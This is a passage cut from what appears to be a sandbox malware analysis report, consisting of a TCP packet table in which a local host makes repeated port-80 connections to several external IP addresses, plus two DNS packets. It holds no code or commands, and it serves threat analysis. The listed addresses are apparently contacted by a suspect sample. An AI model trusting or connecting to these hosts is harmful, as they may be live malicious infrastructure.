                                                                                                                                                                                                      Oct 9, 2024 14:46:25.387047052 CEST80654215.39.10.93192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:25.387087107 CEST6542180192.168.2.65.39.10.93
                                                                                                                                                                                                      Oct 9, 2024 14:46:25.387094975 CEST80654215.39.10.93192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:25.387188911 CEST80654215.39.10.93192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:25.387236118 CEST6542180192.168.2.65.39.10.93
                                                                                                                                                                                                      Oct 9, 2024 14:46:25.387248039 CEST80654215.39.10.93192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:25.387283087 CEST80654215.39.10.93192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:25.387331009 CEST6542180192.168.2.65.39.10.93
                                                                                                                                                                                                      Oct 9, 2024 14:46:25.387331963 CEST80654215.39.10.93192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:25.387581110 CEST80654215.39.10.93192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:25.387617111 CEST80654215.39.10.93192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:25.387629032 CEST6542180192.168.2.65.39.10.93
                                                                                                                                                                                                      Oct 9, 2024 14:46:25.387666941 CEST80654215.39.10.93192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:25.387716055 CEST6542180192.168.2.65.39.10.93
                                                                                                                                                                                                      Oct 9, 2024 14:46:25.387738943 CEST80654215.39.10.93192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:25.388242006 CEST80654215.39.10.93192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:25.388287067 CEST6542180192.168.2.65.39.10.93
                                                                                                                                                                                                      Oct 9, 2024 14:46:25.388376951 CEST80654215.39.10.93192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:25.388437033 CEST6542180192.168.2.65.39.10.93
                                                                                                                                                                                                      Oct 9, 2024 14:46:25.391946077 CEST6542180192.168.2.65.39.10.93
                                                                                                                                                                                                      Oct 9, 2024 14:46:25.397486925 CEST80654215.39.10.93192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:32.731760979 CEST6542280192.168.2.6103.245.25.54
                                                                                                                                                                                                      Oct 9, 2024 14:46:32.736979008 CEST8065422103.245.25.54192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:32.737301111 CEST6542280192.168.2.6103.245.25.54
                                                                                                                                                                                                      Oct 9, 2024 14:46:32.747968912 CEST6542280192.168.2.6103.245.25.54
                                                                                                                                                                                                      Oct 9, 2024 14:46:32.753380060 CEST8065422103.245.25.54192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:33.659683943 CEST8065422103.245.25.54192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:33.659709930 CEST8065422103.245.25.54192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:33.659780025 CEST6542280192.168.2.6103.245.25.54
                                                                                                                                                                                                      Oct 9, 2024 14:46:34.250427961 CEST6542280192.168.2.6103.245.25.54
                                                                                                                                                                                                      Oct 9, 2024 14:46:35.269625902 CEST6542380192.168.2.6103.245.25.54
                                                                                                                                                                                                      Oct 9, 2024 14:46:35.274553061 CEST8065423103.245.25.54192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:35.274629116 CEST6542380192.168.2.6103.245.25.54
                                                                                                                                                                                                      Oct 9, 2024 14:46:35.288469076 CEST6542380192.168.2.6103.245.25.54
                                                                                                                                                                                                      Oct 9, 2024 14:46:35.293363094 CEST8065423103.245.25.54192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:36.174931049 CEST8065423103.245.25.54192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:36.175156116 CEST8065423103.245.25.54192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:36.177906036 CEST6542380192.168.2.6103.245.25.54
                                                                                                                                                                                                      Oct 9, 2024 14:46:36.796406984 CEST6542380192.168.2.6103.245.25.54
                                                                                                                                                                                                      Oct 9, 2024 14:46:37.815781116 CEST6542480192.168.2.6103.245.25.54
                                                                                                                                                                                                      Oct 9, 2024 14:46:37.820591927 CEST8065424103.245.25.54192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:37.822206020 CEST6542480192.168.2.6103.245.25.54
                                                                                                                                                                                                      Oct 9, 2024 14:46:37.833183050 CEST6542480192.168.2.6103.245.25.54
                                                                                                                                                                                                      Oct 9, 2024 14:46:37.838150978 CEST8065424103.245.25.54192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:37.838207006 CEST8065424103.245.25.54192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:38.733000040 CEST8065424103.245.25.54192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:38.733146906 CEST8065424103.245.25.54192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:38.733496904 CEST6542480192.168.2.6103.245.25.54
                                                                                                                                                                                                      Oct 9, 2024 14:46:39.348400116 CEST6542480192.168.2.6103.245.25.54
                                                                                                                                                                                                      Oct 9, 2024 14:46:40.361977100 CEST6542580192.168.2.6103.245.25.54
                                                                                                                                                                                                      Oct 9, 2024 14:46:40.366904020 CEST8065425103.245.25.54192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:40.367141962 CEST6542580192.168.2.6103.245.25.54
                                                                                                                                                                                                      Oct 9, 2024 14:46:40.375197887 CEST6542580192.168.2.6103.245.25.54
                                                                                                                                                                                                      Oct 9, 2024 14:46:40.381318092 CEST8065425103.245.25.54192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:41.273627996 CEST8065425103.245.25.54192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:41.273654938 CEST8065425103.245.25.54192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:41.273811102 CEST6542580192.168.2.6103.245.25.54
                                                                                                                                                                                                      Oct 9, 2024 14:46:41.276540995 CEST6542580192.168.2.6103.245.25.54
                                                                                                                                                                                                      Oct 9, 2024 14:46:41.282306910 CEST8065425103.245.25.54192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:46.308446884 CEST6542680192.168.2.63.131.150.69
                                                                                                                                                                                                      Oct 9, 2024 14:46:46.313688040 CEST80654263.131.150.69192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:46.316544056 CEST6542680192.168.2.63.131.150.69
                                                                                                                                                                                                      Oct 9, 2024 14:46:46.328243017 CEST6542680192.168.2.63.131.150.69
                                                                                                                                                                                                      Oct 9, 2024 14:46:46.333225012 CEST80654263.131.150.69192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:46.812017918 CEST80654263.131.150.69192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:46.812060118 CEST80654263.131.150.69192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:46.816462040 CEST6542680192.168.2.63.131.150.69
                                                                                                                                                                                                      Oct 9, 2024 14:46:47.843070030 CEST6542680192.168.2.63.131.150.69
                                                                                                                                                                                                      Oct 9, 2024 14:46:48.872457027 CEST6542780192.168.2.63.131.150.69
                                                                                                                                                                                                      Oct 9, 2024 14:46:48.877489090 CEST80654273.131.150.69192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:48.880614996 CEST6542780192.168.2.63.131.150.69
                                                                                                                                                                                                      Oct 9, 2024 14:46:48.896451950 CEST6542780192.168.2.63.131.150.69
                                                                                                                                                                                                      Oct 9, 2024 14:46:48.901319027 CEST80654273.131.150.69192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:49.396153927 CEST80654273.131.150.69192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:49.397497892 CEST80654273.131.150.69192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:49.397617102 CEST6542780192.168.2.63.131.150.69
                                                                                                                                                                                                      Oct 9, 2024 14:46:50.405675888 CEST6542780192.168.2.63.131.150.69
                                                                                                                                                                                                      Oct 9, 2024 14:46:51.425051928 CEST6542880192.168.2.63.131.150.69
                                                                                                                                                                                                      Oct 9, 2024 14:46:51.430468082 CEST80654283.131.150.69192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:51.430546999 CEST6542880192.168.2.63.131.150.69
                                                                                                                                                                                                      Oct 9, 2024 14:46:51.443933964 CEST6542880192.168.2.63.131.150.69
                                                                                                                                                                                                      Oct 9, 2024 14:46:51.448940039 CEST80654283.131.150.69192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:51.449052095 CEST80654283.131.150.69192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:51.960344076 CEST80654283.131.150.69192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:51.960998058 CEST80654283.131.150.69192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:51.961051941 CEST6542880192.168.2.63.131.150.69
                                                                                                                                                                                                      Oct 9, 2024 14:46:52.952958107 CEST6542880192.168.2.63.131.150.69
                                                                                                                                                                                                      Oct 9, 2024 14:46:53.972544909 CEST6542980192.168.2.63.131.150.69
                                                                                                                                                                                                      Oct 9, 2024 14:46:53.978415012 CEST80654293.131.150.69192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:53.979048967 CEST6542980192.168.2.63.131.150.69
                                                                                                                                                                                                      Oct 9, 2024 14:46:53.987412930 CEST6542980192.168.2.63.131.150.69
                                                                                                                                                                                                      Oct 9, 2024 14:46:53.992563009 CEST80654293.131.150.69192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:54.486994028 CEST80654293.131.150.69192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:54.487015963 CEST80654293.131.150.69192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:54.488785028 CEST6542980192.168.2.63.131.150.69
                                                                                                                                                                                                      Oct 9, 2024 14:46:54.492475033 CEST6542980192.168.2.63.131.150.69
                                                                                                                                                                                                      Oct 9, 2024 14:46:54.497380972 CEST80654293.131.150.69192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:59.632937908 CEST6543180192.168.2.651.89.21.214
                                                                                                                                                                                                      Oct 9, 2024 14:46:59.637974024 CEST806543151.89.21.214192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:46:59.638187885 CEST6543180192.168.2.651.89.21.214
                                                                                                                                                                                                      Oct 9, 2024 14:46:59.653820038 CEST6543180192.168.2.651.89.21.214
                                                                                                                                                                                                      Oct 9, 2024 14:46:59.659528017 CEST806543151.89.21.214192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:00.604269028 CEST806543151.89.21.214192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:00.604289055 CEST806543151.89.21.214192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:00.604302883 CEST806543151.89.21.214192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:00.604343891 CEST806543151.89.21.214192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:00.604351044 CEST806543151.89.21.214192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:00.604373932 CEST6543180192.168.2.651.89.21.214
                                                                                                                                                                                                      Oct 9, 2024 14:47:00.604418039 CEST6543180192.168.2.651.89.21.214
                                                                                                                                                                                                      Oct 9, 2024 14:47:00.604537010 CEST806543151.89.21.214192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:00.604542971 CEST806543151.89.21.214192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:00.604554892 CEST806543151.89.21.214192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:00.604842901 CEST6543180192.168.2.651.89.21.214
                                                                                                                                                                                                      Oct 9, 2024 14:47:00.606712103 CEST806543151.89.21.214192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:00.607006073 CEST806543151.89.21.214192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:00.607089043 CEST6543180192.168.2.651.89.21.214
                                                                                                                                                                                                      Oct 9, 2024 14:47:00.607273102 CEST806543151.89.21.214192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:00.607377052 CEST6543180192.168.2.651.89.21.214
                                                                                                                                                                                                      Oct 9, 2024 14:47:01.155643940 CEST6543180192.168.2.651.89.21.214
                                                                                                                                                                                                      Oct 9, 2024 14:47:02.190460920 CEST6543280192.168.2.651.89.21.214
                                                                                                                                                                                                      Oct 9, 2024 14:47:02.196176052 CEST806543251.89.21.214192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:02.196537971 CEST6543280192.168.2.651.89.21.214
                                                                                                                                                                                                      Oct 9, 2024 14:47:02.256480932 CEST6543280192.168.2.651.89.21.214
                                                                                                                                                                                                      Oct 9, 2024 14:47:02.261540890 CEST806543251.89.21.214192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:03.224760056 CEST806543251.89.21.214192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:03.224783897 CEST806543251.89.21.214192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:03.224832058 CEST6543280192.168.2.651.89.21.214
                                                                                                                                                                                                      Oct 9, 2024 14:47:03.225002050 CEST806543251.89.21.214192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:03.225022078 CEST806543251.89.21.214192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:03.225055933 CEST6543280192.168.2.651.89.21.214
                                                                                                                                                                                                      Oct 9, 2024 14:47:03.225068092 CEST806543251.89.21.214192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:03.225080967 CEST806543251.89.21.214192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:03.225095034 CEST806543251.89.21.214192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:03.225131035 CEST6543280192.168.2.651.89.21.214
                                                                                                                                                                                                      Oct 9, 2024 14:47:03.226597071 CEST806543251.89.21.214192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:03.226632118 CEST6543280192.168.2.651.89.21.214
                                                                                                                                                                                                      Oct 9, 2024 14:47:03.226798058 CEST806543251.89.21.214192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:03.227087975 CEST806543251.89.21.214192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:03.227123976 CEST6543280192.168.2.651.89.21.214
                                                                                                                                                                                                      Oct 9, 2024 14:47:03.764971972 CEST6543280192.168.2.651.89.21.214
                                                                                                                                                                                                      Oct 9, 2024 14:47:04.783556938 CEST6543380192.168.2.651.89.21.214
                                                                                                                                                                                                      Oct 9, 2024 14:47:04.788584948 CEST806543351.89.21.214192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:04.792908907 CEST6543380192.168.2.651.89.21.214
                                                                                                                                                                                                      Oct 9, 2024 14:47:04.804522038 CEST6543380192.168.2.651.89.21.214
                                                                                                                                                                                                      Oct 9, 2024 14:47:04.809407949 CEST806543351.89.21.214192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:04.809567928 CEST806543351.89.21.214192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:05.746726036 CEST806543351.89.21.214192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:05.746762991 CEST806543351.89.21.214192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:05.746783018 CEST806543351.89.21.214192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:05.746812105 CEST6543380192.168.2.651.89.21.214
                                                                                                                                                                                                      Oct 9, 2024 14:47:05.746897936 CEST806543351.89.21.214192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:05.746908903 CEST806543351.89.21.214192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:05.746922016 CEST806543351.89.21.214192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:05.746936083 CEST806543351.89.21.214192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:05.746941090 CEST6543380192.168.2.651.89.21.214
                                                                                                                                                                                                      Oct 9, 2024 14:47:05.746973991 CEST6543380192.168.2.651.89.21.214
                                                                                                                                                                                                      Oct 9, 2024 14:47:05.748717070 CEST806543351.89.21.214192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:05.748764992 CEST6543380192.168.2.651.89.21.214
                                                                                                                                                                                                      Oct 9, 2024 14:47:05.748774052 CEST806543351.89.21.214192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:05.748785019 CEST806543351.89.21.214192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:05.748817921 CEST6543380192.168.2.651.89.21.214
                                                                                                                                                                                                      Oct 9, 2024 14:47:05.748898983 CEST806543351.89.21.214192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:05.748945951 CEST6543380192.168.2.651.89.21.214
                                                                                                                                                                                                      Oct 9, 2024 14:47:06.311947107 CEST6543380192.168.2.651.89.21.214
                                                                                                                                                                                                      Oct 9, 2024 14:47:07.332166910 CEST6543480192.168.2.651.89.21.214
                                                                                                                                                                                                      Oct 9, 2024 14:47:07.339054108 CEST806543451.89.21.214192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:07.339133978 CEST6543480192.168.2.651.89.21.214
                                                                                                                                                                                                      Oct 9, 2024 14:47:07.349704981 CEST6543480192.168.2.651.89.21.214
                                                                                                                                                                                                      Oct 9, 2024 14:47:07.356878042 CEST806543451.89.21.214192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:08.285656929 CEST806543451.89.21.214192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:08.285717010 CEST806543451.89.21.214192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:08.288678885 CEST6543480192.168.2.651.89.21.214
                                                                                                                                                                                                      Oct 9, 2024 14:47:08.290904045 CEST6543480192.168.2.651.89.21.214
                                                                                                                                                                                                      Oct 9, 2024 14:47:08.295645952 CEST806543451.89.21.214192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:13.325057030 CEST6543580192.168.2.613.248.169.48
                                                                                                                                                                                                      Oct 9, 2024 14:47:13.329957962 CEST806543513.248.169.48192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:13.330043077 CEST6543580192.168.2.613.248.169.48
                                                                                                                                                                                                      Oct 9, 2024 14:47:13.349298000 CEST6543580192.168.2.613.248.169.48
                                                                                                                                                                                                      Oct 9, 2024 14:47:13.354935884 CEST806543513.248.169.48192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:13.789237022 CEST806543513.248.169.48192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:13.789299965 CEST6543580192.168.2.613.248.169.48
                                                                                                                                                                                                      Oct 9, 2024 14:47:14.858938932 CEST6543580192.168.2.613.248.169.48
                                                                                                                                                                                                      Oct 9, 2024 14:47:14.864295959 CEST806543513.248.169.48192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:15.878180981 CEST6543680192.168.2.613.248.169.48
                                                                                                                                                                                                      Oct 9, 2024 14:47:15.883188963 CEST806543613.248.169.48192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:15.883284092 CEST6543680192.168.2.613.248.169.48
                                                                                                                                                                                                      Oct 9, 2024 14:47:15.893946886 CEST6543680192.168.2.613.248.169.48
                                                                                                                                                                                                      Oct 9, 2024 14:47:15.898827076 CEST806543613.248.169.48192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:16.372687101 CEST806543613.248.169.48192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:16.372848034 CEST6543680192.168.2.613.248.169.48
                                                                                                                                                                                                      Oct 9, 2024 14:47:17.409468889 CEST6543680192.168.2.613.248.169.48
                                                                                                                                                                                                      Oct 9, 2024 14:47:17.414541960 CEST806543613.248.169.48192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:18.427567959 CEST6543780192.168.2.613.248.169.48
                                                                                                                                                                                                      Oct 9, 2024 14:47:18.432538033 CEST806543713.248.169.48192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:18.439999104 CEST6543780192.168.2.613.248.169.48
                                                                                                                                                                                                      Oct 9, 2024 14:47:18.448576927 CEST6543780192.168.2.613.248.169.48
                                                                                                                                                                                                      Oct 9, 2024 14:47:18.453749895 CEST806543713.248.169.48192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:18.453984976 CEST806543713.248.169.48192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:18.905097008 CEST806543713.248.169.48192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:18.910669088 CEST6543780192.168.2.613.248.169.48
                                                                                                                                                                                                      Oct 9, 2024 14:47:19.955900908 CEST6543780192.168.2.613.248.169.48
                                                                                                                                                                                                      Oct 9, 2024 14:47:19.960891008 CEST806543713.248.169.48192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:20.971651077 CEST6543880192.168.2.613.248.169.48
                                                                                                                                                                                                      Oct 9, 2024 14:47:20.976922035 CEST806543813.248.169.48192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:20.977113008 CEST6543880192.168.2.613.248.169.48
                                                                                                                                                                                                      Oct 9, 2024 14:47:20.984534979 CEST6543880192.168.2.613.248.169.48
                                                                                                                                                                                                      Oct 9, 2024 14:47:20.989460945 CEST806543813.248.169.48192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:21.631108046 CEST806543813.248.169.48192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:21.631145954 CEST806543813.248.169.48192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:21.631160021 CEST806543813.248.169.48192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:21.632539034 CEST6543880192.168.2.613.248.169.48
                                                                                                                                                                                                      Oct 9, 2024 14:47:21.634676933 CEST6543880192.168.2.613.248.169.48
                                                                                                                                                                                                      Oct 9, 2024 14:47:21.642388105 CEST806543813.248.169.48192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:26.774733067 CEST6543980192.168.2.6129.226.176.90
                                                                                                                                                                                                      Oct 9, 2024 14:47:26.779581070 CEST8065439129.226.176.90192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:26.779937983 CEST6543980192.168.2.6129.226.176.90
                                                                                                                                                                                                      Oct 9, 2024 14:47:26.790736914 CEST6543980192.168.2.6129.226.176.90
                                                                                                                                                                                                      Oct 9, 2024 14:47:26.797215939 CEST8065439129.226.176.90192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:27.685687065 CEST8065439129.226.176.90192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:27.686836004 CEST8065439129.226.176.90192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:27.686954975 CEST6543980192.168.2.6129.226.176.90
                                                                                                                                                                                                      Oct 9, 2024 14:47:28.300398111 CEST6543980192.168.2.6129.226.176.90
                                                                                                                                                                                                      Oct 9, 2024 14:47:29.316708088 CEST6544080192.168.2.6129.226.176.90
                                                                                                                                                                                                      Oct 9, 2024 14:47:29.551704884 CEST8065440129.226.176.90192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:29.551796913 CEST6544080192.168.2.6129.226.176.90
                                                                                                                                                                                                      Oct 9, 2024 14:47:29.565551043 CEST6544080192.168.2.6129.226.176.90
                                                                                                                                                                                                      Oct 9, 2024 14:47:29.570432901 CEST8065440129.226.176.90192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:30.444994926 CEST8065440129.226.176.90192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:30.445566893 CEST8065440129.226.176.90192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:30.447643995 CEST6544080192.168.2.6129.226.176.90
                                                                                                                                                                                                      Oct 9, 2024 14:47:31.077697992 CEST6544080192.168.2.6129.226.176.90
                                                                                                                                                                                                      Oct 9, 2024 14:47:32.097713947 CEST6544180192.168.2.6129.226.176.90
                                                                                                                                                                                                      Oct 9, 2024 14:47:32.102734089 CEST8065441129.226.176.90192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:32.102880955 CEST6544180192.168.2.6129.226.176.90
                                                                                                                                                                                                      Oct 9, 2024 14:47:32.114310026 CEST6544180192.168.2.6129.226.176.90
                                                                                                                                                                                                      Oct 9, 2024 14:47:32.119221926 CEST8065441129.226.176.90192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:32.119729042 CEST8065441129.226.176.90192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:33.025090933 CEST8065441129.226.176.90192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:33.025279999 CEST8065441129.226.176.90192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:33.028167963 CEST6544180192.168.2.6129.226.176.90
                                                                                                                                                                                                      Oct 9, 2024 14:47:33.624427080 CEST6544180192.168.2.6129.226.176.90
                                                                                                                                                                                                      Oct 9, 2024 14:47:34.644758940 CEST6544280192.168.2.6129.226.176.90
                                                                                                                                                                                                      Oct 9, 2024 14:47:34.649884939 CEST8065442129.226.176.90192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:34.650136948 CEST6544280192.168.2.6129.226.176.90
                                                                                                                                                                                                      Oct 9, 2024 14:47:34.657886982 CEST6544280192.168.2.6129.226.176.90
                                                                                                                                                                                                      Oct 9, 2024 14:47:34.662678957 CEST8065442129.226.176.90192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:35.553251028 CEST8065442129.226.176.90192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:35.554200888 CEST8065442129.226.176.90192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:35.554251909 CEST6544280192.168.2.6129.226.176.90
                                                                                                                                                                                                      Oct 9, 2024 14:47:35.556917906 CEST6544280192.168.2.6129.226.176.90
                                                                                                                                                                                                      Oct 9, 2024 14:47:35.561805010 CEST8065442129.226.176.90192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:41.845810890 CEST6544380192.168.2.6107.148.177.200
                                                                                                                                                                                                      Oct 9, 2024 14:47:41.850724936 CEST8065443107.148.177.200192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:41.850799084 CEST6544380192.168.2.6107.148.177.200
                                                                                                                                                                                                      Oct 9, 2024 14:47:41.869843006 CEST6544380192.168.2.6107.148.177.200
                                                                                                                                                                                                      Oct 9, 2024 14:47:41.874715090 CEST8065443107.148.177.200192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:42.366452932 CEST8065443107.148.177.200192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:42.396977901 CEST8065443107.148.177.200192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:42.402854919 CEST6544380192.168.2.6107.148.177.200
                                                                                                                                                                                                      Oct 9, 2024 14:47:43.374661922 CEST6544380192.168.2.6107.148.177.200
                                                                                                                                                                                                      Oct 9, 2024 14:47:44.394102097 CEST6544480192.168.2.6107.148.177.200
                                                                                                                                                                                                      Oct 9, 2024 14:47:44.399147034 CEST8065444107.148.177.200192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:44.404865026 CEST6544480192.168.2.6107.148.177.200
                                                                                                                                                                                                      Oct 9, 2024 14:47:44.415322065 CEST6544480192.168.2.6107.148.177.200
                                                                                                                                                                                                      Oct 9, 2024 14:47:44.420151949 CEST8065444107.148.177.200192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:44.914309978 CEST8065444107.148.177.200192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:44.944654942 CEST8065444107.148.177.200192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:44.944745064 CEST6544480192.168.2.6107.148.177.200
                                                                                                                                                                                                      Oct 9, 2024 14:47:46.890326023 CEST6544480192.168.2.6107.148.177.200
                                                                                                                                                                                                      Oct 9, 2024 14:47:47.909147978 CEST6544580192.168.2.6107.148.177.200
                                                                                                                                                                                                      Oct 9, 2024 14:47:47.914134979 CEST8065445107.148.177.200192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:47.914242983 CEST6544580192.168.2.6107.148.177.200
                                                                                                                                                                                                      Oct 9, 2024 14:47:47.926240921 CEST6544580192.168.2.6107.148.177.200
                                                                                                                                                                                                      Oct 9, 2024 14:47:47.931262970 CEST8065445107.148.177.200192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:47.931272984 CEST8065445107.148.177.200192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:48.426357985 CEST8065445107.148.177.200192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:48.455199957 CEST8065445107.148.177.200192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:47:48.455414057 CEST6544580192.168.2.6107.148.177.200

                                                                                                                                                                                                      UDP Packets

                                                                                                                                                                                                      TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                                      Oct 9, 2024 14:43:54.352579117 CEST53623411.1.1.1192.168.2.6
                                                                                                                                                                                                      Oct 9, 2024 14:44:08.881144047 CEST53616311.1.1.1192.168.2.6
